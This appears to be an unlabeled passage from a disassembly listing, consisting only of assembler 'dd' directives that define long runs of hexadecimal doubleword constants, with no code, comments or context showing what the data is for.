		dd 0F27E4971h, 1C8F1481h, 5FDC3809h, 6B80E89Bh,	0E70801D3h
		dd 43D8C802h, 78E98C67h, 0F14C90F8h, 1616C868h,	0F294E218h
		dd 8957315Eh, 0F4A533CAh, 3BDD8818h, 7F021338h,	0E0D29CD0h
		dd 0AA98006Fh, 0BE491E99h, 4A05A8F7h, 0D07DF663h, 0B8444CEh
		dd 414C3262h, 0FD71A8E0h, 4AAC892h, 0F8D30CD8h,	0AC8B4F34h
		dd 43C089C8h, 0EDE76C9h, 0C17888B3h, 0E8A53500h, 29C29EA2h
		dd 0D3900966h, 0AF977898h, 0E9EB092Dh, 3F70A460h, 3C629D5Fh
		dd 8209B0DAh, 4023A326h, 186AE9E4h, 0E80A5BC6h,	0F1288AF9h
		dd 833CE48Bh, 7F3F72F4h, 2F9D0214h, 761B7ED2h, 530FDCF8h
		dd 0E068FBA5h, 955D0782h, 0D3490097h, 304429C3h, 0EC4B3EADh
		dd 3D3C0402h, 12205E91h
		dd 0BC88FC51h, 30008C27h, 94A1FFDEh, 386DB50h, 2B26D80Dh
		dd 58145C11h, 7DBC79ACh, 0C2E86797h, 3F1861BEh,	0A8DC25F8h
		dd 17EED052h, 0F9688364h, 60D684A0h, 14809960h,	0B6013555h
		dd 0F018270Bh, 3C227FF2h, 0A96F9200h, 0A253CD3Bh, 0A18B4000h
		dd 46F963E0h, 0FC840099h, 9826D38Fh, 0C7018EF5h, 767A0CE3h
		dd 0CF2BBB9Ch, 0C03B8840h, 0F508806Ch, 796CB04h, 72C276FAh
		dd 7400756Bh, 0A04DD05Ch, 0F9C9A230h, 277E2FCh,	0AD586B29h
		dd 0B0D4A71Fh, 0A03702F4h, 0C9B6C8F6h, 215EC85Eh, 3C8061BDh
		dd 5504DA83h, 0E227045Ah, 0AA96C2F9h, 0CBBD2C04h, 6FF2F8B2h
		dd 5ED5530h, 38764B2Fh,	78ECB970h, 0A5750B00h, 6C697DF1h
		dd 0D56D04A3h, 0FE27B3C7h, 2801020h, 7D8605CFh,	0F0A44877h
		dd 9C1785FCh, 843E92BEh, 843D5E23h, 0C113235Ah,	0C8F5ECA1h
		dd 4BDD519Dh, 385CAC0Fh, 46543068h, 1AD80726h, 0F4109C24h
		dd 7A9209A9h, 8C515868h, 0E62E260Ah, 0B8465ED0h, 55026D00h
		dd 636BA984h, 0CD2B2A12h, 0CED07CC0h, 4ED9070h,	94BF2E60h
		dd 546EFA2Ch, 87410603h, 1FB06156h, 0A340A62Ah,	7FCE2D6Bh
		dd 9029C473h, 0F8193A71h, 593925C6h, 0CD5B0723h, 0D40446C3h
		dd 0A3841CE3h, 4E7A46E0h, 23E40049h, 0F2A7F3BDh, 454F9C75h
		dd 6EEBAC84h, 37C800D4h, 74C93E09h, 441C7692h, 404E3DBDh
		dd 9901CA0h, 346A86FCh,	20EEC4CDh, 1F2BF141h, 4084B412h
		dd 38444E49h, 3D927300h, 0C13B157Bh, 82C8006Ch,	9A792018h
		dd 4662E22Bh, 0F2D9B2E0h, 70E09D80h, 9D690B29h,	5C54B1h
		dd 8A60A238h, 58126A7Ah, 0D8A6D98Fh, 0F0ACA0B0h, 85AE6305h
		dd 98522F89h, 0FD8F28E8h, 47B13C40h, 8800DDABh,	78713AB3h
		dd 975AFB2Ch, 0CE087001h, 0AA318695h, 1FA907A3h, 2720A586h
		dd 0E627AC02h, 67C214CDh, 923C766Dh, 23743A62h,	0DE220137h
		dd 28CE34E3h, 433ABC54h, 0EA5A5068h, 50393F2h, 78D58CC6h
		dd 0A0D81389h, 20602704h, 2589751h, 0FBF23B01h,	89A51D9Ah
		dd 5D50333Ah, 55E1F5F0h, 0A6374000h, 77798160h,	81849961h
		dd 54A8E1EAh, 6DCFE87Ah, 9772C2Dh, 11E89DE8h, 8B49825Fh
		dd 0A054107h, 2A704447h, 1A8231Ch, 45C069D9h, 402D1F9Eh
		dd 0EC858DB0h, 0DCD5874Ah, 0A2513118h, 0B1420461h, 803BB570h
		dd 2A5FC8B9h, 0C6620703h, 0E802F6D8h, 920D71Ch,	0A7B7F3ABh
		dd 7CDCF056h, 4D1FABFh,	0A14D1F1Ch, 6650C129h, 0D590203Dh
		dd 3EB023FAh, 64DF1A1Dh, 0D7E21C5h, 0F2C9A040h,	5D5EDF8h
		dd 0D07C532Ch, 84800171h, 0C0B7616Eh, 54BE2969h, 39591A50h
		dd 123BBBFAh, 99042680h, 68587905h, 9C774209h, 0F404485Ah
		dd 0B14925C8h, 26788079h, 0F8008667h, 9CFE2EF0h, 23D908Fh
		dd 87AF2F21h, 4469FC85h, 0C19C44F0h, 6C33C750h,	0AB5FC498h
		dd 8993500h, 185BD93Bh,	30F33012h, 0C63138B2h, 2D28B8D0h
		dd 509118FEh, 7CDA6AE7h, 3B00FCDEh, 0B92C19C5h,	7E1F7507h
		dd 0AB4B0998h, 68746D21h, 7486030h, 13252A43h, 0A4D00F11h
		dd 0A09AAF0h, 0E63B305Ah, 0D62009E7h, 0D1B4D994h, 178183Ah
		dd 59D4AB93h, 7B2F20EAh, 0B3BF8802h, 23C740Ah, 0A66BC8E3h
		dd 0E40F3602h, 91F92058h, 0C04495h, 0D8B51D2Eh,	0DE72E1A3h
		dd 8D9B5502h, 2718CA5h,	4849788Ah, 0F89CCDAFh, 42005EECh
		dd 9909AA86h, 6095A097h, 0A35AE161h, 0CE263249h, 467E8CB6h
		dd 18540039h, 0DAF13EE7h, 0CD8C24E0h, 87903176h, 25A61173h
		dd 79AEFB30h, 1A12007Fh, 48C0A974h, 99252330h, 13C4F0ABh
		dd 0E4F6C392h, 2B160E08h, 0D0B99CA7h, 51850B18h, 0DD0AD8CCh
		dd 0EC1F7F03h, 0D4DEA783h, 0E8780DA5h, 4839A9A3h, 3D158D0Ch
		dd 22949B84h, 0DC48BCBCh, 38CE3300h, 0FAE9EA5h,	4C2076A1h
		dd 662754CDh, 89118C9Fh, 82443B80h, 1007C06h, 4514A443h
		dd 15D5CFB0h, 0F4A6B389h, 883CCE5Bh, 8699C033h,	0D024CA08h
		dd 0F4016993h, 64B12B26h, 0B3138478h, 2588E88Fh, 65B8ED04h
		dd 294E8B8h, 7CFA085Bh,	0C0B0ED7Bh, 756B5BCh, 89DFF313h
		dd 0E8618E4h, 0CE75544Bh, 0F11304D7h, 0D48C0304h, 102CC0CFh
		dd 6F28B882h, 85A4D1DEh, 0F2089014h, 0ECFAA6D5h, 0D0A310C7h
		dd 4E9B3070h, 0B25B030Ch, 0B7AA99CAh, 445AEAA0h, 0F3E90A18h
		dd 0B8D34808h, 3B0CEE6Eh, 0A180E1A0h, 53FE73D2h, 9D60C422h
		dd 15109B41h, 0DF4000EDh, 556FF625h, 1A1F9C4Bh,	92CCB24Dh
		dd 0EA282Fh, 0E30DD93Ah, 0E76EEFA5h, 8F7AD33h, 6D210035h
		dd 0A0A80DE1h, 7202ED53h, 0F0649B23h, 1A1D035Ah, 0FCCDE6A1h
		dd 0E76E74C9h, 0A577EE18h, 0DEC77609h, 0A3836387h, 0F8100002h
		dd 61EA4642h, 0E0C0CECAh, 0F0406AB2h, 2E6303D5h, 264BAF0Fh
		dd 0EB6F0818h, 0D79F20h, 117FC4EFh, 74738D21h, 866369B0h
		dd 883CCEF8h, 6EC2E85Bh, 7C2099E6h, 80733677h, 6BCF0E0Ch
		dd 0A8A00870h, 653490h,	0E06A3177h, 86F0D2Ah, 2110A8A0h
		dd 747CCF03h, 40846183h, 162A660h, 4F20571Dh, 9DE28076h
		dd 7D1444B9h, 0EFE48164h, 0EE563D9h, 8B88730Ch,	0FCEF00DCh
		dd 0A9BBF0A7h, 52EA0E7Ah, 65624900h, 0A8207915h, 0AB2C00CCh
		dd 786DAEF4h, 751CB0A7h, 0F9C225F2h, 5FA337C6h,	0CC50B360h
		dd 1491E17Dh, 0B52A1200h, 0C48297Dh, 0A0312EC6h, 21CF9D08h
		dd 0C5B520E3h, 3117640Ah, 758B7D2h, 88C84E5Bh, 0AA16C070h
		dd 5400ADDBh, 0A6A2DEF0h, 0F4E01D5Dh, 2BCBE840h, 70904627h
		dd 0C101DD6Dh, 0E909F39Eh, 0F453B588h, 5C7F1A9h, 0A8C1D447h
		dd 3C21DE2Ah, 30DB8402h, 7711B534h, 99889829h, 0B59BF180h
		dd 4E91FD3h, 63FD4974h,	0D958985Fh, 39022F9h, 933BC4C1h
		dd 0FA11032Ah, 0F2846769h, 77A49EF8h, 8991991Eh, 63F04119h
		dd 0F00A0A18h, 0A41E614Bh, 0E1A170h, 0A3609DEFh, 908576A8h
		dd 96033876h, 39372C0Ch, 0A02862F4h, 2B00179Bh,	243DB474h
		dd 0C078D35Bh, 7327777Bh, 9817D821h, 643121FEh,	0F5A27700h
		dd 365C78BDh, 7DAE04D6h, 90BE1B74h, 0E5BF6C74h,	163CDC12h
		dd 0AC08F025h, 1177C7E7h, 18787333h, 80358896h,	1D3F770Ah
		dd 4674CCF0h, 4DB80F96h, 0BBA20CEh, 2F397E9h, 337F0529h
		dd 8C4AE19Fh, 6068BC84h, 5C4CF009h, 0BC525861h,	0C0E0A0C4h
		dd 0B107F76Fh, 84800D2Eh, 14876B00h, 0EC9C5281h, 774C00EFh
		dd 83DA74ABh, 0B50C380h, 44094DB8h, 974895CFh, 8021919Ch
		dd 52F3461h, 328C0367h,	74EEC989h, 0A29D1AF8h, 924FBA0Eh
		dd 8536A045h, 1BF0E71h,	4BC8B472h, 0F811AEF0h, 20C04C26h
		dd 0D540E5A6h, 84C20CC5h, 6517D7Bh, 0E87920h, 0CA7537E4h
		dd 70DCFE08h, 0AE92ED06h, 64044D4h, 4E3B45B4h, 8600719Ah
		dd 12DB5D70h, 1D33EBE2h, 18FE8A1Bh, 78DF218Dh, 3A425D0Fh
		dd 16AFA14Fh, 688CF81Dh, 45908B0Ch, 5AB2961Dh, 0D006281Eh
		dd 199E5Dh, 0E758D502h,	4979E208h, 8F21F31h, 208037F8h
		dd 6558FCCCh, 0AC047441h, 1109C27Bh, 813EEEC1h,	1880D5C8h
		dd 31B0BF94h, 0A560AC91h, 52C4C099h, 0DFE80F09h, 4F407F13h
		dd 0C9953260h, 90917845h, 58D981CCh, 7AD50773h,	0E088F90Ch
		dd 0CE592401h, 5CDB067Ch, 0E4F4398Ah, 0DE17D600h, 64BCF79Eh
		dd 0BC9B5063h, 501A03CCh, 0B8A488BBh, 0B800289Bh, 49DA7B87h
		dd 4C12EF5h, 3DFC9FE3h,	0A5A6004Ah, 3C77144h, 9A121BBCh
		dd 830CBC4h, 3C7F212Fh,	3DE0771h, 0A359292Bh, 88002C0Bh
		dd 0C906AFA2h, 9D1994h
		dd 0C56C20DFh, 9E23E4E7h, 31BD20DCh, 855C4934h,	4250C180h
		dd 0A751DF8Fh, 840CE97Bh, 297F3323h, 0DB5C12C2h, 65244C7Ch
		dd 3E4301B0h, 0C0713502h, 2D3143BCh, 71CD8A10h,	811C3F0Fh
		dd 865C46ADh, 0AE230079h, 8BEF7C56h, 0F53A9AC3h, 13307E14h
		dd 1107D12Eh, 20552819h, 0C944009Ch, 46B7C258h,	61DA491Ch
		dd 0C08B60E8h, 0FEB3144Ah, 0C901AC2Eh, 333F13E2h, 66FA1048h
		dd 0E8160D4Bh, 81BEA308h, 26061128h, 426CB36h, 6C590870h
		dd 0FBC40A07h, 5908DF40h, 0B709CC72h, 2E65066h,	88AF578h
		dd 30C11C8h, 0AA74A5E8h, 16110032h, 0AF390AC3h,	9E19A9D1h
		dd 3E08D9B7h, 0CAF72180h, 0CE60C60Ah, 35678806h, 0A615120h
		dd 723B5C46h, 0EF0F03C4h, 1908E804h, 98BAF7Ch, 8020934Eh
		dd 4FBBB4Ch, 0E9229500h, 40C91312h, 0C6A4A80Fh,	18B81A92h
		dd 848F1025h, 58DA81F1h, 79D10772h, 0DD88F70Ch,	4597A02h
		dd 56A571A0h, 4458C209h, 945C23h, 9EBC4149h, 4C9A5B3h
		dd 8F855Ch, 0CAEFB8D5h,	3A59362Ch, 2024BB5Eh, 66C94060h
		dd 48D3F388h, 7FBF2A06h, 94D70CD8h, 2C5987C2h, 4403B772h
		dd 55ED46DFh, 90CDE225h, 1158D660h, 88BA08E6h, 0FDC98003h
		dd 0CD632858h, 0FA8B804h, 0A090984Bh, 8093ED0Eh, 2F601D36h
		dd 0C22DD699h, 0C043547Ch, 0F26701D7h, 3679BC5Bh, 30604822h
		dd 9484D8AAh, 713A6006h, 0CBBC23CDh, 85003111h,	1E571D2h
		dd 3A0160D7h, 121559C8h, 0D980915Dh, 0FF27EDD1h, 14001EFCh
		dd 0AE0A9F74h, 48C568F1h, 82807432h, 4D3AFF19h,	18CF8CA1h
		dd 70580ADCh, 70ECEA07h, 590703CBh, 827AA4C4h, 4C4FD3D0h
		dd 0B158C24Eh, 0CCCD045h, 0D85D7302h, 19FE7A12h, 7BDC1084h
		dd 60BE005Dh, 0C5D4E063h, 9B260779h, 33937C4Ah,	0F17B1020h
		dd 39DE6F88h, 5CE00415h, 10C0331Fh, 4BFAB81Eh, 0B79100C8h
		dd 6F538EF0h, 1507C4AEh, 66AA559h, 0D95D5250h, 0DAE695h
		dd 0A43A41C3h, 56FF924h, 0C9AB5E00h, 0D3C1A6CEh, 0E11C0120h
		dd 7D787C0Bh, 0E61ED849h, 0A5401800h, 3AB5C88Ch, 152A3AC0h
		dd 0BF80ACBEh, 6E6F1DE7h, 131E4352h, 1880C289h,	0BAA60E16h
		dd 883000FFh, 0A41CB42Fh, 267185FBh, 0C5E73C00h, 4015296Fh
		dd 0DF5008Eh, 0F92C979Eh, 0AE00DB66h, 0C0F876DFh, 7F2785Fh
		dd 0F37DAD4Ah, 2CB5D041h, 8000B3ABh, 0AC2F3262h, 0F8F9C8h
		dd 441C480Eh, 0BE920FAFh, 62752A00h, 1DF8E66h, 696C03F2h
		dd 0B71A56E5h, 0F9AC000h, 1BFD82B5h, 3C0F265h, 87B411D4h
		dd 591F3E4Eh, 5CC05EA2h, 29244588h, 0BFFD0025h,	0A19C4C1Dh
		dd 181E942Fh, 0A640BAC8h, 0ADE53B81h, 18C1E29Dh, 0E08D324Eh
		dd 6F00B7B2h, 4936184Fh, 3A4346h, 8150288Ch, 6EADD204h
		dd 0CB7E2E07h, 0BA60E211h, 0E46ACE19h, 0B541332Dh, 0E0819460h
		dd 3B2980C7h, 1AC36FFDh, 0E6053D75h, 6E0EBE80h,	0A9841867h
		dd 14771F24h, 0A87E2F80h, 7ABDDAh, 0FE0489F5h, 0EB851693h
		dd 864F510Eh, 0E5788ED9h, 0B800CC3Ch, 6D1881CAh, 1D8C0984h
		dd 8C2190BBh, 60E473A2h, 0B8019D91h, 13B24E82h,	2CE471EBh
		dd 0D3B50037h, 0DB503631h, 0F0C7442Eh, 0B650B149h, 1B4AA53h
		dd 6C890720h, 0CC406024h, 9200E506h, 0F76D28ACh, 261E3886h
		dd 208B50C4h, 0C5C83ED0h, 10550181h, 0C03CFB67h, 501F59E4h
		dd 0FE5816E9h, 5C46D730h, 9A00A19Fh, 0F6B2A84Ah, 1CEA8E5Eh
		dd 0D4C90B00h, 6DB8205h, 635601FCh, 0D8169238h,	83B6E0CBh
		dd 6BF811C0h, 0F8E45D1h, 2508AD6Eh, 441E0700h, 0B850ACCFh
		dd 460B48E4h, 0A0C8A09Eh, 663E62B0h, 0CF6C0F07h, 58A0EE86h
		dd 40FA993h, 0FD7F2100h, 48DEB913h, 8AB63080h, 2BF53B68h
		dd 8CEF7A1Fh, 5E77843Ch, 53B83122h, 4BC74100h, 0ACA491E9h
		dd 9C462700h, 59254A4Fh, 0BC7E1F8Ch, 0C1818060h, 6C683677h
		dd 58BA1F30h, 50739003h, 0F39C4Fh, 912FC372h, 0DFB43C33h
		dd 7AB5FD00h, 847D0871h, 0B0ECA0C4h, 93C9C5EEh,	0BC420E4h
		dd 0D0127C03h, 840CCB5h, 1B278F4Ch, 234100CDh, 6F6844C6h
		dd 8439ECF1h, 72E803F3h, 0E8C14F97h, 3DDC863Fh,	3AB77752h
		dd 1A873041h, 93638273h, 0A1E5F778h, 0C8828955h, 0C360F47Fh
		dd 0A600BC50h, 420E193h, 561B8Ch, 0AC323E26h, 912A9406h
		dd 5C081600h, 8F01E79Ah, 0F0BC6072h, 0CA1977F2h, 5F0BC300h
		dd 0FAD1B734h, 3CEF0156h, 5E0111E0h, 0E1419E60h, 5956D40h
		dd 18CF6189h, 0A8CED3E2h, 17008C53h, 594A8651h,	3F23A58Fh
		dd 73006A08h, 0E8FED2D0h, 9B00A14Ch, 89A48421h,	0B9F7FAh
		dd 0F9D172A6h, 0B1CF5EE7h, 250075E4h, 67C19805h, 183EE0B9h
		dd 11B653FFh, 600FD42h,	75B06376h, 62FE4Eh, 0EFF701E3h
		dd 39A0DA25h, 8F377D00h, 934B4D15h, 831000D5h, 35E8D212h
		dd 0AD05A4C7h, 705713E0h, 7E4F9C40h, 18B52B62h,	98EBAA19h
		dd 0CA0E85ABh, 206B933Eh, 7E388C46h, 0B1B50F5Dh, 0A4A0C31Eh
		dd 5C611331h, 7C08250Fh, 800ECEB8h, 0DF468B5Ah,	1797687h
		dd 0CD4DAFE3h, 0C09F6578h, 89005836h, 0ADA2E54Ch, 2ACA34C0h
		dd 0E0836Ch, 7375C932h,	464A89DDh, 289A9600h, 0FA88BC38h
		dd 0CA4D3C2Bh, 7EE8E287h, 1005224Bh, 8D39C0D7h,	0FA273E96h
		dd 0BD766383h, 94C8912Bh, 0B901464Bh, 99580E72h, 0C8609D56h
		dd 41A7021Ch, 3AA03F2Dh, 9884A260h, 450511FCh, 698AEC07h
		dd 0EEF19890h, 31A00265h, 29DADBFBh, 0E7F80440h, 0DF006272h
		dd 87B558BCh, 0B82DCBh,	0E3B07C17h, 0CD08B3Dh, 3BEC8470h
		dd 54D6FF1Ch, 0E7C89901h, 0E44057C2h, 83DD4Dh, 5E95EE09h
		dd 0BF518241h, 93CFA500h, 28C8E059h, 89DA001Ch,	4D3B474Eh
		dd 3D169013h, 700065D2h, 0AAA59709h, 7BC0B2B5h,	0F3810245h
		dd 35B8CB53h, 90075B63h, 0CB975BDh, 2488C260h, 3D4BE887h
		dd 2EFD0A99h, 0C2DBA8h,	0AFD18FF2h, 0C4EA3DD6h,	5A41DA00h
		dd 7311DE8Ah, 0F04A0B9Dh, 0FF00E427h, 26A99A8Eh, 3932A302h
		dd 0C07C2065h, 1E5A8E8h, 0E1A79277h, 0DC69CAECh, 6409E344h
		dd 1883A22Eh, 0FA65B34h, 22D6B9FDh, 0E9A49A0h, 8E00F2AFh
		dd 2957D434h, 3DE94h, 4DC00C87h, 0F699693Ch, 8F56CF00h
		dd 0DCCCD40Ah, 44F08Ch,	0A415BD7Fh, 0C7CB3CBFh,	3D0252B8h
		dd 969A3849h, 2ECC408Dh, 0ECCF00C9h, 4130C62Ah,	2330A353h
		dd 47AFECC4h, 0BA5A0F1Ch, 282221A2h, 5F40B3E8h,	0E2002D4Fh
		dd 382FD348h, 0F832EDACh, 3C252EC0h, 7A1503E7h,	60F057EBh
		dd 0FA00A9E0h, 328A2AC9h, 39099A05h, 0D5005ADEh, 0AB91DC57h
		dd 0C054ED9h, 49423292h, 90268C90h, 0D0790060h,	2E69E462h
		dd 0E2005497h, 0EFAA8224h, 0A69574h, 2F9283EBh,	4AE18404h
		dd 6F4F8F00h, 77678852h, 0D0A0495Ah, 0C2B01700h, 0CBAD315Fh
		dd 0CE4EF004h, 0B08376B7h, 88FE9B13h, 37205F12h, 0C080996Dh
		dd 0AD8B5719h, 9DA9E13Bh, 0CF1D89AFh, 60C43A04h, 0EBB7BCB4h
		dd 0BE001839h, 0BCC21293h, 0D00013DBh, 0D30B587Bh, 0B0FB9Bh
		dd 4C5F734Fh, 5EC14E9Eh, 99C4450Ah, 0D3008596h,	0E40E57B7h
		dd 1C37C61h, 9E503A49h,	0CC2BB0E7h, 6900C93Bh, 99721DA9h
		dd 3D7D076Eh, 2E8CB6CCh, 0C87046C5h, 324BCA01h,	7FE3A11h
		dd 0A18C66E4h, 0B0293354h, 0FE4A1D04h, 7D2BC0DBh, 0EA0EA63Ah
		dd 0C0294640h, 5D205BAEh, 43AA0357h, 5F3189A7h,	0CE08BFF0h
		dd 4DF52501h, 1ED0E809h, 0C68CF8h, 2D90F805h, 0D635F3EAh
		dd 5FA53100h, 0BAB2BC88h
		dd 62B0002Eh, 145C3694h, 1300C882h, 9DDA6028h, 0D495E7h
		dd 0E9BE39B6h, 0CADFE4D0h, 3BE8CD0Eh, 0B72A401Ah, 0FAA785h
		dd 0FF30FC80h, 65E2C996h, 56192218h, 0DBF212h, 2EFE331Eh
		dd 9A35D754h, 0DDF5AB00h, 0F89593AEh, 0BA7A49h,	2F373AF1h
		dd 0C25AC9CDh, 73CF6401h, 17458932h, 4D39002Dh,	23583D45h
		dd 5D6C00CFh, 0FE8212FFh, 0DB10EF86h, 7C005D74h, 72CA0667h
		dd 0AF9319h, 0A75F1AD7h, 0EF9A394Dh, 8192CC27h,	89C19510h
		dd 1807A834h, 18A9627Bh, 3C07C917h, 53E8140h, 3B0AC2h
		dd 796C316h, 1C5CCC28h,	0D4DA6A00h, 0C78381E5h,	4B257CB5h
		dd 0FFCC30D6h, 7236D58h, 3EF611F2h, 0A35980E2h,	0E674E312h
		dd 0CDE9036Ah, 2A9D92DCh, 0A5E89FD0h, 34307A4Fh, 74370AC1h
		dd 42448CAFh, 0AC805F1h, 0A48968B5h, 912C1EE4h,	3942EBh
		dd 67AA6B8Bh, 4037A72h,	2401FA57h, 11C48026h, 0F8DD1555h
		dd 0F0F8B387h, 0C4082EE5h, 5D6DC2D2h, 588AD841h, 0E68881C4h
		dd 0D55D0075h, 901D4B88h, 0D60BC0CEh, 454865B2h, 67FBE4CCh
		dd 6BC27DE4h, 85CD140h,	60E71F3h, 5B19383Eh, 8F50312h
		dd 107A5F96h, 99AF42C0h, 1728A92Dh, 80FA1104h, 6D1888C6h
		dd 4828489Ch, 0FE8C84ECh, 0A7A00040h, 0E911D0BEh, 0AA2AC6B4h
		dd 2C00ACF5h, 0A13A0C74h, 0D6A7F2BCh, 0C8D48B18h, 7049C090h
		dd 0A324053Fh, 1182585Ah, 0A148AD19h, 0AF019BE8h, 178C3908h
		dd 10D55EE6h, 8F8830C6h, 5D6EDD80h, 12BCDA75h, 44766784h
		dd 5D4613DCh, 650F4E1Eh, 0D6AC035Bh, 1B80009Fh,	93015A67h
		dd 525BA8D3h, 9B4E5406h, 0C4C70459h, 0C046A4B4h, 111C3A74h
		dd 0B02AA531h, 0FC6D2D52h, 7F44CE10h, 2B7CB11Ah, 11E81D20h
		dd 787780F8h, 6FC10D3h,	6B1A8775h, 284F219Fh, 0FB23A82Eh
		dd 276EAA00h, 885517h, 0B5429D19h, 9FFD1F46h, 2DE048D4h
		dd 43141803h, 0BCC61071h, 3B88E033h, 489D0071h,	0F74E81F6h
		dd 0A005E729h, 6A97634Ah, 66B1BC00h, 5015B70Ch,	74B2909Dh
		dd 76F0BCCAh, 73018346h, 0F84BE162h, 3906E43Dh,	60CC342Ah
		dd 83818E1h, 3BBCC371h,	8B0071CFh, 0B04F71D0h, 0D24D7B08h
		dd 906800A8h, 0FED1ADEEh, 409F280Ch, 8CC096F8h,	0B391914Fh
		dd 8D8AC000h, 66C62CD8h, 0A8DE1648h, 7BB8C822h,	0AC42E8Ch
		dd 62C9130Ch, 0F0201984h, 980ACBh, 816FF558h, 492CA57Bh
		dd 0F262B30Bh, 4044CA01h, 4410C17Ch, 0E2C9B3Ch,	68110A1h
		dd 4678B098h, 643C68E6h, 457D4057h, 75031F42h, 954EB307h
		dd 0DFC83802h, 0CDB15913h, 43A7C160h, 0B5123038h, 7B00F9FAh
		dd 88E306BFh, 188C0A2Fh, 79791A45h, 10E896C2h, 18103D5Eh
		dd 8C31E8D8h, 68470400h, 0D89FC7BEh, 762705D1h,	0B27A3207h
		dd 3030F274h, 0B63E1EBDh, 0E5BF072Ah, 0A8952E9Fh, 46A880C9h
		dd 3D5D1D34h, 3F5E07D5h, 746680D4h, 4350A910h, 9C0991C4h
		dd 208D5C4Dh, 580AD7C8h, 0E00700D1h, 8125EBB7h,	0DA0FC47Eh
		dd 83ACCE7Dh, 93F636Fh,	1314BC89h, 5852B852h, 3033E264h
		dd 1300BBA3h, 0C52A6D88h, 99493D70h, 368ED014h,	0A75B2486h
		dd 72B4038h, 0F801639Dh, 0A308D0CCh, 0C5024176h, 7EC36CC0h
		dd 6B2CF983h, 0FABCF46Ch, 0DE13008Ch, 296A178Ah, 6D3A5CB7h
		dd 844EA833h, 813DFD21h, 0BCC47141h, 0B0F07C23h, 71397Eh
		dd 16388A8Bh, 175CC31Eh, 0A0BC8358h, 4C7356CCh,	0EE796CBCh
		dd 0D444317Ah, 63130358h, 3087A29Ch, 0E6039CA3h, 0EEAE2BD2h
		dd 0F95A9A98h, 0BA748194h, 602F355Dh, 3D41DD74h, 4312A430h
		dd 3084E23Ch, 0D3025AECh, 24F4B7B5h, 0A244C8A9h, 0E028F295h
		dd 5816E66Ch, 4C0278A0h, 0D439E7A9h, 0F911D49Dh, 43C4CE80h
		dd 6107DFD8h, 3F91C944h, 9D9619E7h, 0E8E50548h,	909CF6A4h
		dd 333CB9E8h, 0F0280B83h, 0A89725EDh, 35800391h, 0E14487DDh
		dd 9D276D01h, 67317732h, 2431FDE5h, 8CF74441h, 68EEC900h
		dd 1318FF64h, 5C588CADh, 6E91500h, 60B91271h, 5F16CCB2h
		dd 7C3A9F4Eh, 35003023h, 51A814C3h, 525439E8h, 0CD9D0209h
		dd 4F3F8403h, 49D440B5h, 0BABD12F3h, 0B63C9100h, 0D741734Ch
		dd 5220F967h, 58A27EB8h, 1ABC18E9h, 2B7D008Ch, 23695890h
		dd 0B50FED22h, 56F106C8h, 1F6DF000h, 2578D37Ch,	0B0C8B963h
		dd 608F450Ch, 9313E496h, 0E0EF4908h, 381DE9EEh,	67370308h
		dd 0F05DE7A8h, 0C7DD2897h, 0B0A4C201h, 0D7366744h, 300999E3h
		dd 0A7C9F983h, 0E1E860CAh, 0AC2592ECh, 0C418E774h, 52716182h
		dd 84DF20h, 0B4BA900Eh,	46B8C1BFh, 0E0401B4Ah, 9BA3A9C4h
		dd 4F8918E9h, 61764198h, 0D926200h, 0D3F1A07Bh,	8A4012FEh
		dd 21F0E233h, 18F7F955h, 8403006Dh, 0CAF361F4h,	7C13462Ch
		dd 0B842742Fh, 0E1365310h, 0CE187534h, 0AF380A08h, 4043C4D9h
		dd 640AD5F6h, 1912098Bh, 84004779h, 45B372E5h, 2A03C56h
		dd 12D45EE7h, 108731DAh, 715D6FE0h, 0D0F0062h, 18564329h
		dd 0C8909AB4h, 18777320h, 303D69FBh, 0ED61BF95h, 9EC891E1h
		dd 4A90202Fh, 5D7B273Ch, 4C9698A6h, 0F94656h, 32820D7h
		dd 733906E0h, 0CB264B12h, 0C70388F4h, 8D82B24Ch, 0E74C3C0h
		dd 0CA996D12h, 12C8F8E0h, 1F2151Eh, 4F0CFE7Ch, 5BE88E89h
		dd 7116E9BAh, 0F930007Ch, 8FE985CDh, 9829772Ch,	908B5F13h
		dd 5DC13CC8h, 44204FC6h, 0FC3E12AAh, 0BCF8E28Ch, 7C058C3Ch
		dd 0C46C52Bh, 0FDC95C88h, 38536466h, 84301BA2h,	772A3913h
		dd 42C51100h, 0B8A4CA01h, 5C01084Fh, 39DECB07h,	40203711h
		dd 1064CC30h, 6F782F64h, 428C0264h, 3C91A9AFh, 0CFEC103Fh
		dd 787000Ah, 0C7DC6B8Ch, 0FF54C094h, 8891AAF4h,	68828803h
		dd 341DA818h, 11B148C2h, 2B936F07h, 7B4618Dh, 0EC8C4A6h
		dd 2CC1454Bh, 0E82D25E6h, 0BA00E3ACh, 0A5D20B3Ah, 25C912BBh
		dd 7CE70CB8h, 1A62F964h, 286739E1h, 167A2220h, 1F87FC66h
		dd 0E75C0900h, 5B6580C8h, 0B2342552h, 2B5730F8h, 0C3DA2C0Ch
		dd 4E11B868h, 0E67CC4E1h, 439BE054h, 0A3720286h, 5C2F9D91h
		dd 0CE80A85Eh, 0F0096BD5h, 0FB8E1C8Fh, 462D89A8h, 0C8134205h
		dd 92124CF4h, 0B4408BCAh, 0DFFBEF1Bh, 0A8DA2547h, 30005C2Fh
		dd 32E476BDh, 7706BB16h, 0FC0FC04h, 0DC4CA50Bh,	84717C91h
		dd 4600A018h, 0AEB72F24h, 475925Fh, 0F3639CA4h,	1ECB0180h
		dd 403B9079h, 0B6536580h, 0BA0074CFh, 13377721h, 91E9FE4Ah
		dd 183E79A8h, 5E400B4h,	2ED7FBCFh, 273764C2h, 0C5877875h
		dd 0BBF0B517h, 5C665936h, 0C93980B1h, 2C981E4Eh, 1C04F448h
		dd 801E4E26h, 0D4662380h, 11349285h, 2C74DF64h,	184C9C18h
		dd 888A5287h, 15A96D04h, 0BC34F89Dh, 1E398C38h,	9E7612E6h
		dd 2CC80CCBh, 0DC5D9DC0h, 0D0F716C5h, 55A0000Fh, 98CA75CFh
		dd 1623DE0Ah, 46562CE4h, 0D7290030h, 0DB1B08A4h, 0CC4102C0h
		dd 9FCB9180h, 0C4111849h, 98910DBDh, 94485B3Dh,	0AC7C378h
		dd 3CB1AFA9h, 40F3B210h, 32A6E0Ch, 0CA802D95h, 0A2E5FF23h
		dd 36D60EC4h, 0D431581Dh, 83B10916h, 0B08187BDh, 143C27Bh
		dd 6033FAA5h, 0D330FCA2h, 110E1644h, 3C9C8D55h,	8C8EBCD0h
		dd 7365101Fh, 0A3329905h, 9FB66097h, 0B7433C91h, 13AAEA92h
		dd 0ED4B218h, 6098EB3Fh, 55B2F5D7h, 1399720Fh, 53770CBDh
